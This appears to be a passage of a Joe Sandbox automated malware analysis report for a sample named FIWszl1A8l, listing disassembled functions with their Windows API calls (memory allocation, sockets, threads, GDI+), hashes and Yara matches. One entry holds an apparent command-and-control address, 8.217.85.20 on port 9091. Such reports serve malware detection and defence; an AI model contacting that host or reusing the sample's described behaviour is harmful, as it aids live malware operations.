Instruction Fuzzy Hash: 26314670200602AFC768DF69C9C4B6AB3E5FF48708B10C56DE85A8B7A5D771EC51CB91

Function 02D011B0 Relevance: 4.6, APIs: 3, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 02D011E9
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 02D01226
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02D01255

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: 3aaec9788ee57d44f4d271aaa7ecbe7045f5e4910f6fad26b87e719e0f1545cd
Instruction ID: a4a4812e07871491258291c11c581ea13f32393b781bb29baebabee5a8384371
Opcode Fuzzy Hash: 3aaec9788ee57d44f4d271aaa7ecbe7045f5e4910f6fad26b87e719e0f1545cd
Instruction Fuzzy Hash: 75219271E00709AFDB249FA9E885B6EF7F4EF44705F008569E84DE2790E670AC148B51

Function 009711B0 Relevance: 4.6, APIs: 3, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 009711E9
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00971226
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00971255

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: 126e166b8b9b11dc1869ac7291afdf89baa1f0409d9f477049fbd4e21fa3b3f5
Instruction ID: 3c10f9f00cadd373a33031bc620ad6f195cbc131be260f6be4a381a464849682
Opcode Fuzzy Hash: 126e166b8b9b11dc1869ac7291afdf89baa1f0409d9f477049fbd4e21fa3b3f5
Instruction Fuzzy Hash: 8F21CF72A04709ABDB149FADDC86B6EFBF8EF40705F10C5ADE95DE2640E630A8008751

Function 02D01100 Relevance: 4.6, APIs: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 02D0112F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 02D0115F
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02D01192

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: c2533342c85629fdeca15a763f0bdad1ac58b6109bc4404a987824829ac8903a
Instruction ID: 055d993186f1094896e4701873c922ec2f365d7ee24c5c2f99f1b40beecb5a95
Opcode Fuzzy Hash: c2533342c85629fdeca15a763f0bdad1ac58b6109bc4404a987824829ac8903a
Instruction Fuzzy Hash: A811AF70E40308AFDB149FA9D885B6EFBB8FF04705F008569E959E2390E670AD148B11

Function 00971100 Relevance: 4.6, APIs: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0097112F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0097115F
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00971192

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: 4200f38beb6276126e8f76241b98dc604ea19d72ea612c98faa70bc4b9b8f6d0
Instruction ID: 743f03f7f2589a6785c7120eefa13c0fab3bb6693049c077085c16fc500c0d90
Opcode Fuzzy Hash: 4200f38beb6276126e8f76241b98dc604ea19d72ea612c98faa70bc4b9b8f6d0
Instruction Fuzzy Hash: 0F11D372A08709ABDB109FADDC86B6EFBF8FF44705F108469E95DE6240E670A8048751

Function 02D09DE0 Relevance: 4.5, APIs: 3, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 02D09E04
GdipDisposeImage.GDIPLUS(?), ref: 02D09E18
GdipDisposeImage.GDIPLUS(?), ref: 02D09E3B

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Gdip$DisposeImage$BitmapCreateFromStream
String ID:
API String ID: 800915452-0
Opcode ID: e827c367a791c27e7dd8dbaa0839d4eaf0f9d9adce130e50af1731411c63a6d1
Instruction ID: 8ade01b92b50b759ccf46076128c231bdab070e2a3aa440848152fbc16316369
Opcode Fuzzy Hash: e827c367a791c27e7dd8dbaa0839d4eaf0f9d9adce130e50af1731411c63a6d1
Instruction Fuzzy Hash: 57F0A471D01229978B10EF94DA488EEB779EB54B15B01455EFC05A7350D7305F19CBE0

Function 02D09AC0 Relevance: 4.5, APIs: 3, Instructions: 36COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(02D2FB64), ref: 02D09ADC
GdiplusStartup.GDIPLUS(02D2FB60,?,?), ref: 02D09B15
LeaveCriticalSection.KERNEL32(02D2FB64), ref: 02D09B26

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterGdiplusLeaveStartup
String ID:
API String ID: 389129658-0
Opcode ID: 0f9491aa45dc20231f80c29c67473a84f2bef3fafc8ba4b666fc77d90d295b08
Instruction ID: 8693228db74b4ac036869a641cdfb452a196dbb203d8e0503000d076aeedc667
Opcode Fuzzy Hash: 0f9491aa45dc20231f80c29c67473a84f2bef3fafc8ba4b666fc77d90d295b08
Instruction Fuzzy Hash: E6F02B31D812099FEB109FD5E8BA7EA77B8F714709F400A99E80552380C7720D5CCBD1

Function 00973200 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 15sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00973200

Strings

9091, xrefs: 00990254
8.217.85.20, xrefs: 0099026C

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: Sleep
String ID: 8.217.85.20$9091
API String ID: 3472027048-631352039
Opcode ID: 1dfaaba67fdfb61fbc9347a035604eefe8d14a08e8e690717fdd83b75b12fab0
Instruction ID: 3bd25ad8b15b3deda32dda516146b078e8951d1f8f6cfd6d8c771de88ab16944
Opcode Fuzzy Hash: 1dfaaba67fdfb61fbc9347a035604eefe8d14a08e8e690717fdd83b75b12fab0
Instruction Fuzzy Hash: AFD022B1A18522DB8E04AB00C86543BB374BAC03147284908F89F973C0C3A86C08ABA2

Function 02D0F964 Relevance: 4.5, APIs: 3, Instructions: 11threadCOMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 02D0F969

Part of subcall function 02D13DE2: GetLastError.KERNEL32(00000001,00000000,02D0F920,02D0F6FC,00000000,?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76), ref: 02D13DE6
Part of subcall function 02D13DE2: ___set_flsgetvalue.LIBCMT ref: 02D13DF4
Part of subcall function 02D13DE2: __calloc_crt.LIBCMT ref: 02D13E08
Part of subcall function 02D13DE2: DecodePointer.KERNEL32(00000000,?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76,00000000,00000000,?,02D13F06), ref: 02D13E22
Part of subcall function 02D13DE2: GetCurrentThreadId.KERNEL32 ref: 02D13E38
Part of subcall function 02D13DE2: SetLastError.KERNEL32(00000000,?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76,00000000,00000000,?,02D13F06), ref: 02D13E50

__freeptd.LIBCMT ref: 02D0F973

Part of subcall function 02D13FA6: TlsGetValue.KERNEL32(?,?,02D110F0,00000000,02D26278,00000008,02D11155,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D13FC7
Part of subcall function 02D13FA6: TlsGetValue.KERNEL32(?,?,02D110F0,00000000,02D26278,00000008,02D11155,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D13FD9
Part of subcall function 02D13FA6: DecodePointer.KERNEL32(00000000,?,02D110F0,00000000,02D26278,00000008,02D11155,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D13FEF
Part of subcall function 02D13FA6: __freefls@4.LIBCMT ref: 02D13FFA
Part of subcall function 02D13FA6: TlsSetValue.KERNEL32(00000027,00000000,?,02D110F0,00000000,02D26278,00000008,02D11155,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D1400C

ExitThread.KERNEL32 ref: 02D0F97C

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Value$DecodeErrorLastPointerThread$CurrentExit___set_flsgetvalue__calloc_crt__freefls@4__freeptd__getptd_noexit
String ID:
API String ID: 4224061863-0
Opcode ID: 2724e5c2700f713393ca01cb1d1fa8083a8d834bd76ca7655ed9195569bfad4b
Instruction ID: 26da360c72ab7463584a4421ed6b4a6a2c0a8a51df23680d90786dc52b529026
Opcode Fuzzy Hash: 2724e5c2700f713393ca01cb1d1fa8083a8d834bd76ca7655ed9195569bfad4b
Instruction Fuzzy Hash: A1C04C214443457F9B643771A90DA1A3A5EDED0350B654460BC0585B90DE75DC51C9A0

Function 00977156 Relevance: 4.5, APIs: 3, Instructions: 11threadCOMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 0097715B

Part of subcall function 00979896: GetLastError.KERNEL32(00000001,00000000,00977112,00976F0C,00000000,?,00979FB0,00000000,00000001,00000000,?,0097C0CF,00000018,00987C70,0000000C,0097C15F), ref: 0097989A
Part of subcall function 00979896: ___set_flsgetvalue.LIBCMT ref: 009798A8
Part of subcall function 00979896: __calloc_crt.LIBCMT ref: 009798BC
Part of subcall function 00979896: DecodePointer.KERNEL32(00000000,?,00979FB0,00000000,00000001,00000000,?,0097C0CF,00000018,00987C70,0000000C,0097C15F,00000000,00000000,?,009799BA), ref: 009798D6
Part of subcall function 00979896: GetCurrentThreadId.KERNEL32 ref: 009798EC
Part of subcall function 00979896: SetLastError.KERNEL32(00000000,?,00979FB0,00000000,00000001,00000000,?,0097C0CF,00000018,00987C70,0000000C,0097C15F,00000000,00000000,?,009799BA), ref: 00979904

__freeptd.LIBCMT ref: 00977165

Part of subcall function 00979A58: TlsGetValue.KERNEL32(?,?,00977711,00000000,00987B60,00000008,00977776,?,?,?,00987B80,0000000C,00977831,?), ref: 00979A79
Part of subcall function 00979A58: TlsGetValue.KERNEL32(?,?,00977711,00000000,00987B60,00000008,00977776,?,?,?,00987B80,0000000C,00977831,?), ref: 00979A8B
Part of subcall function 00979A58: DecodePointer.KERNEL32(00000000,?,00977711,00000000,00987B60,00000008,00977776,?,?,?,00987B80,0000000C,00977831,?), ref: 00979AA1
Part of subcall function 00979A58: __freefls@4.LIBCMT ref: 00979AAC
Part of subcall function 00979A58: TlsSetValue.KERNEL32(00000025,00000000,?,00977711,00000000,00987B60,00000008,00977776,?,?,?,00987B80,0000000C,00977831,?), ref: 00979ABE

ExitThread.KERNEL32 ref: 0097716E

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: Value$DecodeErrorLastPointerThread$CurrentExit___set_flsgetvalue__calloc_crt__freefls@4__freeptd__getptd_noexit
String ID:
API String ID: 4224061863-0
Opcode ID: adaf7ed63ff1584fce545b7ac8fa31d89d2c64eb1dc9d0dde25c5ce84baf2482
Instruction ID: cb0fb9f62386b5522bca4ffa94e07e59b37b46bd3e366bce92f3e3bfc437e713
Opcode Fuzzy Hash: adaf7ed63ff1584fce545b7ac8fa31d89d2c64eb1dc9d0dde25c5ce84baf2482
Instruction Fuzzy Hash: BCC08C32008A086ACA1077768C0EA4A3A4DCAC1310B918010B90C86111DE20D8008251

Function 028201CB Relevance: 3.3, APIs: 2, Instructions: 267memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 0282022B

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 173a0753eb1870a11fb702d1a013be029f39be02b255bbe32865f3a9974466fd
Instruction ID: 189435d4d200edbc8bac22bc817bb7e33be7d980016b9458f6e301f0ff4c07a3
Opcode Fuzzy Hash: 173a0753eb1870a11fb702d1a013be029f39be02b255bbe32865f3a9974466fd
Instruction Fuzzy Hash: 6AA17078A0062AEFCB14CFA9C984AADB7F1FF58308F148169E419DB751D730E995CB90

Function 02D03360 Relevance: 3.2, APIs: 2, Instructions: 151timeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,00000000), ref: 02D03413
_memmove.LIBCMT ref: 02D034A5

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Time_memmovetime
String ID:
API String ID: 1463837790-0
Opcode ID: 931c8211f04cd79a80f10d84b23818fecf7e59914b77466278ebf48adf7b6931
Instruction ID: 17326e1d5b165f733ccc4f8414701e34001a20e72dc9a4a57b2fc6390e5f3caa
Opcode Fuzzy Hash: 931c8211f04cd79a80f10d84b23818fecf7e59914b77466278ebf48adf7b6931
Instruction Fuzzy Hash: E751B0727006019FD755DF69C8C0B6AB7A6FF88314B1486ACE9598B7A0DB31FC51CBA0

Function 00973350 Relevance: 3.2, APIs: 2, Instructions: 151timeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,00000000), ref: 00973403
_memmove.LIBCMT ref: 00973495

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: Time_memmovetime
String ID:
API String ID: 1463837790-0
Opcode ID: 5177ee9fad7bf00bcfd49d11bd16f64d52456b46d700af4c2f2ce024a3f7eeed
Instruction ID: f72ca033bbd8859eacf2afbf1abd50e1fbd54d72b95b0a8deb1471a14ae0ebea
Opcode Fuzzy Hash: 5177ee9fad7bf00bcfd49d11bd16f64d52456b46d700af4c2f2ce024a3f7eeed
Instruction Fuzzy Hash: 1951BC73700201AFD729CF69C8C0A6AB7A9BF84314714C66CE91E8B711EB31ED41DB90

Function 02D02FD0 Relevance: 3.1, APIs: 2, Instructions: 82networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 02D03043
recv.WS2_32(?,?,00040000,00000000), ref: 02D03064

Part of subcall function 02D0F91B: __getptd_noexit.LIBCMT ref: 02D0F91B

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __getptd_noexitrecvselect
String ID:
API String ID: 4248608111-0
Opcode ID: 8a19711ad44b903bf0d3130a19aba99ced214104123afaf26c7abb48f9205b60
Instruction ID: 9bd82284c5b7219062014264f50ecaf001e663c7c4542803eac9b642d54153ac
Opcode Fuzzy Hash: 8a19711ad44b903bf0d3130a19aba99ced214104123afaf26c7abb48f9205b60
Instruction Fuzzy Hash: DF219E70A012089FDB709F69DCC8F9A77A5EF44314F2445E5E904AB3E0DBB1AD84CBA1

Function 00972FB0 Relevance: 3.1, APIs: 2, Instructions: 82networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 00973023
recv.WS2_32(?,?,00040000,00000000), ref: 00973044

Part of subcall function 0097710D: __getptd_noexit.LIBCMT ref: 0097710D

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: __getptd_noexitrecvselect
String ID:
API String ID: 4248608111-0
Opcode ID: 411c3d15a60393f4d668f5fad58499e8cc94e9e8491f62d582cdc01a159490ed
Instruction ID: f0c4a06b293461403ca144a110c2636c8b12dfcda878946d4a616904210a81f4
Opcode Fuzzy Hash: 411c3d15a60393f4d668f5fad58499e8cc94e9e8491f62d582cdc01a159490ed
Instruction Fuzzy Hash: F621B772508208DFDB20DF68DC8AB9A7778EF45310F10C1A4E51DAB291D770EE84DBA1

Function 02D03260 Relevance: 3.1, APIs: 2, Instructions: 60networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,00040000,00000000), ref: 02D03291
send.WS2_32(?,?,?,00000000), ref: 02D032CE

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 4e47ba113688258ebec6030bdbdd95f804f18df24e9ff81ed2e922bdec4c604c
Instruction ID: 60ddebc4666f8d03b0c642ff26d8370fced3837f0093e55b69743f8de6421af9
Opcode Fuzzy Hash: 4e47ba113688258ebec6030bdbdd95f804f18df24e9ff81ed2e922bdec4c604c
Instruction Fuzzy Hash: E111C272A02244ABC7A08A7ADDC8B5E7799FB49368F1180A5F908D73E0D2709D418654

Function 02D030E0 Relevance: 3.0, APIs: 2, Instructions: 46sleeptimeCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000000A), ref: 02D0310A
timeGetTime.WINMM ref: 02D03124

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: 0c588458ae85b2379ea734a634d0ca0b6c3107530913bd445182bebb0a670d85
Instruction ID: 05aa5690f13fb757c886be2d997f3af5a1905d613e50bff8acb2dc237a209de6
Opcode Fuzzy Hash: 0c588458ae85b2379ea734a634d0ca0b6c3107530913bd445182bebb0a670d85
Instruction Fuzzy Hash: CD01BC31600206AFD311CF28C8C8B69B7A5FB99305F1442A8E504872E0C771ADD6C7E2

Function 009730C0 Relevance: 3.0, APIs: 2, Instructions: 46sleeptimeCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000000A), ref: 009730EA
timeGetTime.WINMM ref: 00973104

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: 81fc066a513274fbb4f965cfc2d01c7014fbc63d6b5f46bff011614cfef8b07d
Instruction ID: d969e492cc14ca13b579c2d6f5702353dbf4f83d2388e913b93d75fb64ea799c
Opcode Fuzzy Hash: 81fc066a513274fbb4f965cfc2d01c7014fbc63d6b5f46bff011614cfef8b07d
Instruction Fuzzy Hash: B601B132704609AFD710DF29D8C8BA9B3A9FB99305F54C228D1088B690C771AE85D7D1

Function 02D0CD00 Relevance: 3.0, APIs: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000004,00000000,00000000,02D0E04E,00000000,02D09800,?,?,?,00000000,02D2125B,000000FF,?,02D0E04E), ref: 02D0CD1B
_free.LIBCMT ref: 02D0CD56

Part of subcall function 02D01280: __CxxThrowException@8.LIBCMT ref: 02D01290
Part of subcall function 02D01280: DeleteCriticalSection.KERNEL32(00000000,02D0D3E6,02D26624,?,?,02D0D3E6,?,?,?,?,02D25A40,00000000), ref: 02D012A1

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CreateCriticalDeleteException@8HeapSectionThrow_free
String ID:
API String ID: 1116298128-0
Opcode ID: 4b0059f392af51ddbab69f7208bb92942569decb7befc70f1a5564aea5914a77
Instruction ID: 2d97bcfd1b492e31d0073c1e8b3584586a57536df039b0920aa416f114dd6328
Opcode Fuzzy Hash: 4b0059f392af51ddbab69f7208bb92942569decb7befc70f1a5564aea5914a77
Instruction Fuzzy Hash: D3017EB0A00B408FC330CF6A9884A07FAF9FF98700B504A1EE6DAC6B60D370A505CF65

Function 00976410 Relevance: 3.0, APIs: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000004,00000000,00000000,?,00000000,00975AF2), ref: 0097642B
_free.LIBCMT ref: 00976466

Part of subcall function 00971280: __CxxThrowException@8.LIBCMT ref: 00971290
Part of subcall function 00971280: DeleteCriticalSection.KERNEL32(00000000,?,00987E78), ref: 009712A1

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: CreateCriticalDeleteException@8HeapSectionThrow_free
String ID:
API String ID: 1116298128-0
Opcode ID: 7bc1de64ee48850c6b267b685a624aa7e4565570074210ed75badfd58582e283
Instruction ID: aead62755967af27577d46b936f450188b43dccc5bb4dff7a37c3572ffe8730f
Opcode Fuzzy Hash: 7bc1de64ee48850c6b267b685a624aa7e4565570074210ed75badfd58582e283
Instruction Fuzzy Hash: 8F017AF1A00B408FD7219F6A9844A07FAF8BF98710B108A1EE2DAC7B20D370A445CF95

Function 02D0E480 Relevance: 3.0, APIs: 2, Instructions: 21synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,02D0DF10,00000000,00000000,00000000), ref: 02D0E49B
WaitForSingleObject.KERNEL32(00000000,000000FF,?,02D11168,?,?,?,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D0E4A9

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleThreadWait
String ID:
API String ID: 1891408510-0
Opcode ID: f38f42fe1f0ead332c1deb9bbca8a75af6736b2eebb966bb8e239eed16e049e0
Instruction ID: 511d92d8cb5c54c1471606c6b502b1f0671bd473a091ffe6e2c382e8234467ea
